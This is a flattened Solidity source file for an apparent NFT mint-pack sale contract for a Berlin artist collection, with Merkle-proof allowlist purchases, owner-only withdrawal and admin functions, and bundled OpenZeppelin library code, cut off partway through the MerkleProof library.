// SPDX-License-Identifier: MIT /*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*/ // @dev: @brougkr pragma solidity 0.8.12; import {IERC721} from "@openzeppelin/contracts/interfaces/IERC721.sol"; import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {Pausable} from "@openzeppelin/contracts/security/Pausable.sol"; import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import {MerkleProof} from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; contract MintPack is Ownable, Pausable, ReentrancyGuard { address private immutable _BRTMULTISIG = 0x90DBc54DBfe6363aCdBa4E54eE97A2e0073EA7ad; // Bright Moments Multisig address public _ArtistMintPass1 = 0xD696F98b8350EFb0b90f5CA683DA42B822188911; // Boreta address public _ArtistMintPass2 = 0x90bCb5FEE176268D18e252207504CE9C47Cf3D74; // Lippman address public _ArtistMintPass3 = 0x190665D9602DD016E0Aa0b22EC705a8BfA61be44; // Sun address public _ArtistMintPass4 = 0xC3B350485f79f4A6e072c67d88B4F4ea01B765d5; // Massan address public _ArtistMintPass5 = 0x9FF90C54E95EADf66f5003Ca8B0C3e7634e73977; // Mpkoz address public _ArtistMintPass6 = 0xA2f67488576c5eCeD478872575A36652BF9A399b; // Davis address public _ArtistMintPass7 = 0xfDF8791Ee8419b4812459e7E28Ab6C3E4E145D8a; // Bednar address public _ArtistMintPass8 = 0xDf73639490415F23645c3AdD599941924bD38468; // Ting address public _ArtistMintPass9 = 0x4BC0d4f64DF0D52C59D685ffD94D82F7439AEa2c; // Pritts address public _ArtistMintPass10 = 0xEc81b3FE5AA24De6C05aDDAf23D110B310d58178; // REAS uint public _Index = 11; // Starting Index Of Sale uint public _IndexEnding = 40; // Ending Index Of Sale uint public _MintPackPrice = 5 ether; // Mint Pack Price bool public _SaleActive; // Public Sale State bool public _SaleActiveBrightList; // Brightlist Sale State bytes32 _Root = 0x106640d8b3d5aa1e8275b43dd79cb922143f3e1caf88582bddc92e52f67f5bd8; // Merkle Root constructor() { _transferOwnership(_BRTMULTISIG); } /** * @dev Purchases Berlin Collection Artist Mint Pack */ function PurchaseMintPack() public payable nonReentrant { // === Purchases Pack 1-10 === require(msg.value == _MintPackPrice, "Invalid Message Value. Mint Pack Is 5 Ether | 5000000000000000000 WEI"); require(_SaleActive, "Sale Inactive"); require(_Index <= _IndexEnding, "Sold Out"); IERC721(_ArtistMintPass1).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass2).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass3).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass4).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass5).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass6).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass7).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass8).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass9).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass10).transferFrom(_BRTMULTISIG, msg.sender, _Index); // === Increments Index === _Index++; } /** * @dev Purchases Berlin Collection Artist Mint Pack */ function PurchaseMintPackBrightList(bytes32[] calldata Proof) public payable nonReentrant { // === Purchases Pack 1-10 === require(msg.value == _MintPackPrice, "Invalid Message Value. Mint Pack Is 5 Ether | 5000000000000000000 WEI"); require(_SaleActiveBrightList, "Sale Inactive"); require(viewBrightListAllocation(msg.sender, Proof), "User Is Not On BrightList"); require(_Index <= _IndexEnding, "Sold Out"); IERC721(_ArtistMintPass1).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass2).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass3).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass4).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass5).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass6).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass7).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass8).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass9).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass10).transferFrom(_BRTMULTISIG, msg.sender, _Index); // === Increments Index === _Index++; } /** * @dev Reads Current NFT Token Index */ function readIndex() external view returns(uint) { return _Index; } /** * @dev Withdraws ERC20 To Multisig */ function __withdrawERC20(address tokenAddress) external onlyOwner { IERC20 erc20Token = IERC20(tokenAddress); require(erc20Token.balanceOf(address(this)) > 0, "Zero Token Balance"); erc20Token.transfer(_BRTMULTISIG, erc20Token.balanceOf(address(this))); } /** * @dev Withdraws All Ether From Sale To Message Sender * note: OnlyOwner */ function __withdrawEther() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } /** * @dev Withdraws All Ether From Contract To `Recipient` * note: OnlyOwner */ function __WithdrawToAddress(address payable Recipient) external onlyOwner { uint balance = address(this).balance; require(balance > 0, "Insufficient Ether To Withdraw"); (bool Success, ) = Recipient.call{value: balance}(""); require(Success, "Unable to Withdraw, Recipient May Have Reverted"); } /** * @dev Withdraws `Amount` Of Ether, Input As WEI, From Contract To `Recipient` With An Amount * note: OnlyOwner * note: `Amount` Is Input In WEI. (1 ETH = 1000000000000000000 WEI) */ function __WithdrawAmountToAddress(address payable Recipient, uint Amount) external onlyOwner { require(Amount > 0 && Amount <= address(this).balance, "Invalid Amount"); (bool Success, ) = Recipient.call{value: Amount}(""); require(Success, "Unable to Withdraw, Recipient May Have Reverted"); } /** * @dev Pauses Sale */ function __pause() external onlyOwner { _pause(); } /** * @dev Unpauses Sale */ function __unpause() external onlyOwner { _unpause(); } /** * @dev Changes Mint Pack Contract Addresses */ function __changeMintPackContractAddresses(address[] calldata NewAddresses) external onlyOwner { require(NewAddresses.length == 10, "Invalid Input Length. 10 Addresses Required"); _ArtistMintPass1 = NewAddresses[0]; // Artist Mint Pass # 1 _ArtistMintPass2 = NewAddresses[1]; // Artist Mint Pass # 2 _ArtistMintPass3 = NewAddresses[2]; // Artist Mint Pass # 3 _ArtistMintPass4 = NewAddresses[3]; // Artist Mint Pass # 4 _ArtistMintPass5 = NewAddresses[4]; // Artist Mint Pass # 5 _ArtistMintPass6 = NewAddresses[5]; // Artist Mint Pass # 6 _ArtistMintPass7 = NewAddresses[6]; // Artist Mint Pass # 7 _ArtistMintPass8 = NewAddresses[7]; // Artist Mint Pass # 8 _ArtistMintPass9 = NewAddresses[8]; // Artist Mint Pass # 9 _ArtistMintPass10 = NewAddresses[9]; // Artist Mint Pass # 10 } /** * @dev Changes Mint Pack Contract Address Inefficiently */ function __changeMintPackContractAddress(uint MintPackNumber, address NewAddress) external onlyOwner { if(MintPackNumber == 1) { _ArtistMintPass1 = NewAddress; } else if(MintPackNumber == 2) { _ArtistMintPass2 = NewAddress; } else if(MintPackNumber == 3) { _ArtistMintPass3 = NewAddress; } else if(MintPackNumber == 4) { _ArtistMintPass4 = NewAddress; } else if(MintPackNumber == 5) { _ArtistMintPass5 = NewAddress; } else if(MintPackNumber == 6) { _ArtistMintPass6 = NewAddress; } else if(MintPackNumber == 7) { _ArtistMintPass7 = NewAddress; } else if(MintPackNumber == 8) { _ArtistMintPass8 = NewAddress; } else if(MintPackNumber == 9) { _ArtistMintPass9 = NewAddress; } else if(MintPackNumber == 10) { _ArtistMintPass10 = NewAddress; } } /** * @dev Flips Sale State */ function __flipSaleStatePublic() external onlyOwner { _SaleActive = !_SaleActive; } /** * @dev Flips Sale State BrightList */ function __flipSaleStateBrightList() external onlyOwner { _SaleActiveBrightList = !_SaleActiveBrightList; } /** * @dev Changes Merkle Root Hash */ function __changeMintPackRoot(bytes32 Root) external onlyOwner { _Root = Root; } /** * @dev Changes Mint Pack Starting Index */ function __changeMintPackIndex(uint Index) external onlyOwner { _Index = Index; } /** * @dev Changes Mint Pack Ending Index */ function __changeMintPackIndexEnding(uint Index) external onlyOwner { _IndexEnding = Index; } /** * @dev Checks BrightList Allocation */ function viewBrightListAllocation(address Recipient, bytes32[] memory Proof) public view returns(bool) { bytes32 Leaf = keccak256(abi.encodePacked(Recipient)); return MerkleProof.verify(Proof, _Root, Leaf); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC721.sol) pragma solidity ^0.8.0; import "../token/ERC721/IERC721.sol"; // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol) pragma solidity ^0.8.0; import "../token/ERC20/IERC20.sol"; // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev 